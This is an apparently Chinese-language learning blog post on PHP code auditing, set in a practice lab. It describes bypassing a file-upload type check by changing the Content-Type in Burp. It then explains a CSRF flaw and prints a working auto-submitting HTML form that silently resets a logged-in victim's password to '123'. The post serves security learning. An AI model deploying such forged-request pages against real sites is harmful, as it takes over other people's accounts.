0x00 写在前面
从零学习php,最终目的实现代码审计入门,软件采用sublime text,环境使用phpstudy搭建,数据库是navicat,需要有基本的前端基础、简单的php+mysql后端基础、渗透知识和漏洞原理,文章跟随流沙前辈学习记录,看看曾经遥不可及的代码审计能不能慢慢啃下来。
本章为代码审计入门学习第四篇,根据案例进行简单分析,一步步慢慢来。
0x01 文件上传漏洞
文件上传之前写过一篇有关靶场的文章,原理就不写了,主要学习一下代码层面。
靶场已经搭建完成,用户登陆后可以修改头像,发现定义好的upFile()
ctrl+左键,跟进到func.php,发现文件上传代码部分就是在此处审计。发现上面啥也没做限制,下面对于用户图片类型进行限制,已添加注释
随意上传一个文件发现echo 文件类型不符合
打开burp测试绕过发现修改Content-Type类型即可绕过
0x02 CSRF漏洞
CSRF攻击者用你自己的身份,以你自己的名义发送恶言请求。问题点就是http会话仍然存在并没有作判断,通常的解决方法是加token。
靶场已搭建完成,这里用户编辑自己资料从而修改密码
burp抓包发现这两处控制着密码修改(修改密码、确认密码)
实验需要两个,一个是要攻击的网址,一个是自己搭建的服务器网址。伪造一个请求网页,骗受害者访问网址,就可以自动跳转把密码修改
//test.html,骗用户点击访问自己服务器的该文件
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF GET</title>
<body>
<form name="form1" action="http://xx.xx.xx.xx/update_user.php" method="post" enctype="multipart/form-data"> //要攻击的网址
<input type="hidden" class="form-control" name="user_email" value="">
<input type="hidden" name="user_password" value="123"/>
<input type="hidden" name="user_password2" value="123"/>
<input type="file" class="form-control" name="user_pic">
</form>
<script>
document.forms.form1.submit();
</script>
</body>
</html>